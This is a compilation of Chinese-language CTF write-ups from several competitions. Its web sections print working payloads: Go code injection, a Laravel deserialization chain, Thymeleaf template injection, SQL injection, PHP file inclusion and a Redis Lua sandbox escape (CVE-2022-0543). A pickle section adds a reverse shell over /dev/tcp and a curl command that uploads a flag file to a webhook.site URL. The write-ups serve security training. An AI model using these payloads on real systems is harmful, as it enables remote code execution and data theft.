src = rand.NewSource(time.Now().UnixNano())
)

// 参考: https://colobu.com/2018/09/02/generate-random-string-in-Go/
func RandString(n int) string {
b := make([]byte, n)
// A src.Int63() generates 63 random bits, enough for letterIdxMax characters!
for i, cache, remain := n-1, src.Int63(), letterIdxMax; i >= 0; {
if remain == 0 {
cache, remain = src.Int63(), letterIdxMax
}
if idx := int(cache & letterIdxMask); idx < len(letterBytes) {
b[i] = letterBytes[idx]
i--
}
cache >>= letterIdxBits
remain--
}
return string(b)
}

func Eval(defineCode string, code string, imports ...string) (re []byte, err error) {
var (
tmp = `package main

%s

%s

func main() {
%s
}
`
importStr string
fullCode string
newTmpDir = tempDir + dirSeparator + RandString(8)
)
if 0 < len(imports) {
importStr = "import ("
for _, item := range imports {
if blankInd := strings.Index(item, " "); -1 < blankInd {
importStr += fmt.Sprintf("\n %s \"%s\"", item[:blankInd], item[blankInd+1:])
} else {
importStr += fmt.Sprintf("\n\"%s\"", item)
}
}
importStr += "\n)"
}
fullCode = fmt.Sprintf(tmp, importStr, defineCode, code)
//fmt.Printf("%s", fullCode)
var codeBytes = []byte(fullCode)
// 格式化输出的代码
if formatCode, err := format.Source(codeBytes); nil == err {
// 格式化失败,就还是用 content 吧
codeBytes = formatCode
}
// fmt.Println(string(codeBytes))
// 创建目录
if err = os.Mkdir(newTmpDir, os.ModePerm); nil != err {
return
}
defer os.RemoveAll(newTmpDir)
// 创建文件
tmpFile, err := os.Create(newTmpDir + dirSeparator + "main.go")
if err != nil {
return re, err
}
defer os.Remove(tmpFile.Name())
// 代码写入文件
tmpFile.Write(codeBytes)
tmpFile.Close()
// 运行代码
cmd := exec.Command("go", "run", tmpFile.Name())
res, err := cmd.CombinedOutput()
res = codeBytes
return res, err
}

Eval()函数主要做的事情是先对参数import进行分割,即对要导入的包进行格式化处理,随后要导入的包代码、变量声明代码、main函数主体代码插入到模板tmp中,再将这部分代码生成go文件并调用系统命令进行执行,最终将执行结果和错误返回。tmp模板插入相关代码后效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
package main

//这里是包导入代码,对应变量是importStr
//格式为:
//import (
// "fmt"
//)

//这里是变量声明代码,对应参数defineCode

func main() {
//这里是main函数的主体代码,对应参数为code
}

其中,importStr和code两个变量都是可控的,分别对应与Package和expression两个参数,也就是说我们可以通过控制Package和expression来将我们的恶意代码写入到这个文件中并在服务器上执行从而成功RCE。可以注意到,Package的内容并无限制,而expression则不能含有字母,要使代码成功执行必须将恶意代码写入到main函数中。这个时候就会想到可以控制Package这个参数来重新写一个main函数,然后再利用多行注释符将后续代码注释掉,从而实现代码注入。值得注意的是,go语言对语法要求较为严格,多行注释符必须要 /* 和 */ 成对出现,因此我们还需要控制expression将多行注释符和最后的右大括号 } 闭合起来,参数构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var expression = "*/_1("

var Package = `"fmt"
"os/exec"
)

func main(){
cmd:=exec.Command("ls","/")
res,err:=cmd.CombinedOutput()
fmt.Printf("%s",res)
fmt.Printf("%s",err)
}
func _1(){}
func a(){/* 1`

嵌入到tmp代码模板之后效果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package main

import (
"fmt"
"os/exec"
)

func main() {
cmd := exec.Command("ls", "/")
res, err := cmd.CombinedOutput()
fmt.Printf("%s", res)
fmt.Printf("%s", err)
}
func _1() {}
func a() { /* "1"
)



func main() {
fmt.Print(*/_1()
}

​ 这里有几个小细节需要注意一下,第一就是Package注入的代码中不能含有空格,否则根据处理函数看,Package用空格分隔开后第二部分会被加上双引号,从而导致注入失败,这里可以用制表符代替空格,第二是为了闭合掉大括号和小括号,还需要在Package的最后定义函数来闭合最后的大括号并在函数中调用另一个函数来闭合小括号,因为闭合小括号需要控制expression来完成,因此这里的要定义函数名不含字母的函数,可以用下划线和数字来进行定义,在go中是允许这种定义方式的。

​ 至此,我们就完成了对payload的构造,只需要将其url编码后发送即可。

fix

​ 从上面的分析中我们可以看到漏洞出现的原因是对于参数检查不够严格,导致了前后文配合进行代码的注入,前文的注入离不开后文的括号闭合,只要我们将这个条件破坏即可抵抗代码注入攻击,从而修复成功。因此我们可以对expression的检查方法进行加固,将(_符号加入黑名单即可,而/*因为他们是四则运算符,将其禁用会影响正常功能,从而导致服务异常,因此不能加入黑名单,但是已经足够了,如果还不放心,保险一点可以将出去四则运算的其他标点符号加到黑名单中。

龙卷风

​ 这道题是一道python环境下tornado框架的常规模板注入,题目中对注入点进行了惨无人道的过滤,黑名单非常长,感受一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import tornado.ioloop, tornado.web, tornado.options, os

settings = {'static_path': os.path.join(os.getcwd(), 'static')}


class IndexHandler(tornado.web.RequestHandler):

def get(self):
self.render("static/index.html")

def post(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('tornado', '龙卷风摧毁停车场')
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help',
'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr',
'method', 'super', "flag", "file", "decode","request","builtins","|","&"]
black_symbol = ["__", "'", '"', "$", "*", ",", ".","\\","0x","0o","/","+","*"]
black_keyword = ['or', 'while']
black_rce = ['render', 'module', 'include','if', 'extends', 'set', 'raw', 'try', 'except', 'else', 'finally',
'while', 'for', 'from', 'import', 'apply',"True","False"]
if(len(msg)>1500) :
self.render('static/hack.html')
return
bans = black_func + black_symbol + black_keyword + black_rce
for ban in bans:
if ban in msg:
self.render('static/hack.html')
return
with open('static/user.html', 'w') as (f):
f.write(
'<html><head><title></title></head><body><center><h1>你使用 %s 摧毁了tornado</h1></center></body></html>\n' % msg)
f.flush()
self.render('static/user.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
return tornado.web.Application([('/', IndexHandler)], **settings)


if __name__ == '__main__':
app = make_app()
app.listen(8888)
tornado.ioloop.IOLoop.current().start()
print('start')

能用的符号就只剩下#!@%^()_=[]{}:;?><-~`,直接给我整不会了,蹲一波wp。

至于修补,那就是将恶心进行到底,把剩下的这些符号也加到黑名单中!!!

NepCTF-2022-WP

因为有其它的事情,只上线了一会,解了两个签到题就跑路了。

Web

Just Kidding

参考:https://xz.aliyun.com/t/11362 第一条链子。

对照几处关键点都相符:

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

可直接利用,poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php

namespace Illuminate\Contracts\Queue{

interface ShouldQueue {}
}

namespace Illuminate\Bus{

class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "system";

}
}
}

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Queue\ShouldQueue;

class BroadcastEvent implements ShouldQueue {
function __construct() {}
}

class PendingBroadcast{
protected $events;
protected $event;
function __construct() {
$this->event = new BroadcastEvent();
$this->event->connection = "cat /flag";
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}

namespace {
$pop = new \Illuminate\Broadcasting\PendingBroadcast();
echo base64_encode(serialize($pop));
}
1
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo0OiJscyAvIjt9fQ==
1
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjU6e3M6MTI6IgAqAGNvbnRhaW5lciI7TjtzOjExOiIAKgBwaXBlbGluZSI7TjtzOjg6IgAqAHBpcGVzIjthOjA6e31zOjExOiIAKgBoYW5kbGVycyI7YTowOnt9czoxNjoiACoAcXVldWVSZXNvbHZlciI7czo2OiJzeXN0ZW0iO31zOjg6IgAqAGV2ZW50IjtPOjM4OiJJbGx1bWluYXRlXEJyb2FkY2FzdGluZ1xCcm9hZGNhc3RFdmVudCI6MTp7czoxMDoiY29ubmVjdGlvbiI7czo5OiJjYXQgL2ZsYWciO319

flag: NepCTF{c2edd745-b451-4b64-a37e-bdd1942d5a7c}

Challenger

java Thymeleaf 模板注入,直接打就行

payload如下:

1
/eval?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20flag%22).getInputStream()).next()%7d__::.x

flag: NepCTF{c2edd745-b451-4b64-a37e-bdd1942d5a7c}

一些相关的学习链接

Java安全之Thymeleaf 模板注入分析 https://www.cnblogs.com/nice0e3/p/16212784.html

鹏城杯初赛-2022-WP

easygo

给了源码,下下来打开发现存在sql注入

直接看数据库中的存在有什么表,其中有一个表比较可疑:super_secret_table

1
/juice/1'%20union%20select%201,table_name%20from%20information_schema.tables%20limit%201offset%20§这个是偏移§--

于是查看这个表的列名,发现存在flag字段:

1
/juice/1'%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name='super_secret_table'--

直接读取flag

1
/juice/1'%20union%20select%201,flag%20from%20super_secret_table--

flag:PCL{Postgresql_1njection_1s_3asY}

简单包含

源码很简单就是通过文件包含读取flag

1
2
3
4
 <?php 
highlight_file(__FILE__);
include($_POST['flag']);
//flag in /var/www/html/flag.php

但是存在waf,可以通过上传文件使得waf溢出失效,exp如下:

1
2
3
4
5
6
7
8
import requests
url = "http://192.168.1.113/"
request_files = {
'file': (('demo.jpg', open('./image.jpg', 'rb')))
}
data={'flag': 'php://filter/convert.base64-encode/resource=/var/www/html/flag.php'}
resp = requests.post(url=url, data=data,files=request_files)
print(resp.content)

flag: PCL{bc58644f-f757-11ec-9edf-5224002d2b29}

easy_rsa

第一步

e和phi不互素:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c = 0x27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e
p = 0xbb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd
q = 0xbb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1
e = 0x292

def decrypt1(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
msg = gmpy2.iroot(m, t)
if msg[1]:
print(long_to_bytes(msg[0]))
decrypt1(p,q,e,c)
# PCL{16745c3b

第二步

p的高位攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 先用sagemath求出q、p
def phase3(high_p, n):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
p = high_p + x
x0 = p.small_roots(X = 2^60, beta = 0.1)[0]
P = int(p(x0))
Q = n // P
print(P)
print(Q)
assert n == P*Q

p=0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000
n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65
phase3(p,n)

# python直接求出m
p=119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521
q=139862779248852876780236838155351435339041528333485708458669785004897778564234874018135441729896017420539905517964705602836874055417791439544162777504181482765029478481701166935117795286988835104239238153206137155845327225155932803904032184502243017645538314995056944419185855910939481260886933456330514972109
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

# 0c134c83b74f

第三步

c和n不互素,这里直接求公约数得到p,再求出m

1
2
3
4
5
6
7
8
9
10
11
12
c = 0x1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df
n = 0xc2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069
e = 0x10001

p=gmpy2.gcd(c,n)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)//2022//1011//p
print(long_to_bytes(m))

# 977260aae9b5}

flag: PCL{16745c3b0c134c83b74f977260aae9b5}

CISCNCTF2022 初赛 WP

CRYPTO

签到电台

按公众号提示

密文+密码本 模10 得到密码

1732 2514 1344 0356 0451 6671 0055

1116 8739 2160 4882 4331 7393 0019

2848 0243 3404 4138 4782 3964 0064

开启会话

http://eci-2zeh1c14i16ne6hcxxxb.cloudeci1.ichunqiu.com:8888/send?msg=s

发送电报

http://eci-2zeh1c14i16ne6hcxxxb.cloudeci1.ichunqiu.com:8888/send?msg=2848024334044138478239640064

flag{50c75dee-dc65-4dc1-83c1-6d220643e513}

基于挑战码的双向认证3

ssh连接,su提权,密码toor

flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}

WEB

ezpop

参考 :https://www.icode9.com/content-1-1367188.html

flag{0b9c9b72-0f36-464e-b4a4-bd1ea26e5e63}

Dest0g3 520迎新赛 WP

忙到比赛快结束了才开始打 *.*

WEB

phpdest

require_once 绕过不能重复包含文件的限制

poc如下:

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

flag:Dest0g3{26291723-ac8b-4776-95e6-65be65455960}

相关知识点学习:php源码分析 require_once 绕过不能重复包含文件的限制 https://www.anquanke.com/post/id/213235

EasyPHP

字符串拼接出错即可引发错误输出flag,直接发一个数组即可.

flag:Dest0g3{d06f2820-8493-4d29-b470-f265b23b199f}

SimpleRCE

利用十六进制转ASCII绕过system禁用,再用head读取文件

flag:Dest0g3{fb501803-e3af-4a13-8736-a1752ec324c9}

funny_upload

限制上传php文件,文件内容无法带有<?php。于是先上传一个eval.jpg文件

再用 .htaccess 的将其解析为php文件,同时加上php_value auto_prepend_file /flag将flag进来:

再访问eval.jpg即可看到flag:

flag:Dest0g3{6a131d9c-4c4b-44a5-b040-0264f42966a5}

相关知识点学习:与 .htaccess 相关的奇淫技巧 https://www.anquanke.com/post/id/241147#h3-11

middle

一道简单的Pickle反序列化,看源码利用思路很简单:构造opcode让服务器调用config下的backdoor函数进行远程代码执行。

需要注意这个是无回显的,可以利用反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64

opcode=b'''cconfig
backdoor
((S'os.system("#bash -i >& /dev/tcp/ip/1234 0>&1'
S'")'
ltR.'''
payload=base64.b64encode(opcode)
print(payload)
p=requests.post(url="http://a109323d-13f4-4417-97d8-0af8e6dbc36c.node4.buuoj.cn:81/home",data={"data": payload})
print(p.text)

#服务器运行 nc -lnvp 1234

比赛的时候因为自己的机子不知道啥原因就是弹不了,也就有了下面这个操作,先用把命令执行结果输出到文件后再把通过curl命令把执行结果发送出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import base64

opcode=b'''cconfig
backdoor
((S'os.system("curl -F \'ls / > /flag&curl -F \'file=@/flag\' https://webhook.site/68149089-5dbe-48b2-a13f-ff9718771340'
S'")'
ltR.'''

#file=@/flag.txt\' https://webhook.site/68149089-5dbe-48b2-a13f-ff9718771340

payload=base64.b64encode(opcode)
print(payload)
p=requests.post(url="http://a109323d-13f4-4417-97d8-0af8e6dbc36c.node4.buuoj.cn:81/home",data={"data": payload})
print(p.text)

Dest0g3{a18d0ee5-5bb2-45aa-8d99-89ce75b1f06e}

相关知识点学习:Pickle反序列化 https://goodapple.top/archives/1069

MISC

你知道js吗

拿到flag,打开可以看到明显是一个word文件,添加.docx后缀打开,将文本文件复制后发现是base64,解码得到其中一串只有+-.<>[]的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- 
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[-
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
+++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++.
<+++[ ->+++ <]>++ ++.<

Brainfuck解码得到446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D,十六进制转为字符串即可得到flag。

flag: Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

Pngenius

附件给的png用binwalk提取可以得到一个加密的压缩包,

用Stegsolve查看png图片可以发现RGB三个通道最低为存在lsb隐写,提取得到压缩包密码Weak_Pas5w0rd

解压得到flag。

flag: Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

CRYPTO

babyRSA

yafu直接分解n

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import long_to_bytes
import gmpy2
e = 65537
n=27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
c=14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
p1 = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
p2 = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
phi=(p1-1)*(p2-1)
d=gmpy2.invert(e,phi)
m=long_to_bytes(pow(c,d,n))
print(m)

flag: Dest0g3{96411aad-032c-20a8-bc43-b473f6f08536}

babyAES

直接解密

1
2
3
4
5
6
7
from Crypto.Cipher import AES
c=b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
iv=b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
key=b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
my_aes = AES.new(key, AES.MODE_CBC, iv)
m = my_aes.decrypt(c)
print(m)

flag: Dest0g3{d0e5fa76-e50f-76f6-9cf1-b6c2d576b6f4}

ezDLP

sagemath一把梭

1
2
3
4
5
y = 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
g = 19
x = discrete_log(mod(y, p), mod(g, p))
print(hex(x))

flag: Dest0g3{07ed2a6f-182f-a05d-c81e-1318af820a78}

虎符CTF2022 WP Quest-RCE

Misc

Quest-RCE

查看题目并进行搜索发现这是Redis 沙盒逃逸漏洞,CVE-2022-0543。

参考:https://www.adminxe.com/3620.html,利用package提供的方法加载动态链库的函数,进行任意命令执行。

payload如下:

1
{"query":"SET \"dir\" \"/var/www/uploads/\" \n eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/liblua5.1.so.0\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /flag_UVEmnDKY4VHyUVRVj46ZeojgfZpxzG\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0"}

flag: HFCTF{34da8018-8720-42a0-95db-773a452ff1ee}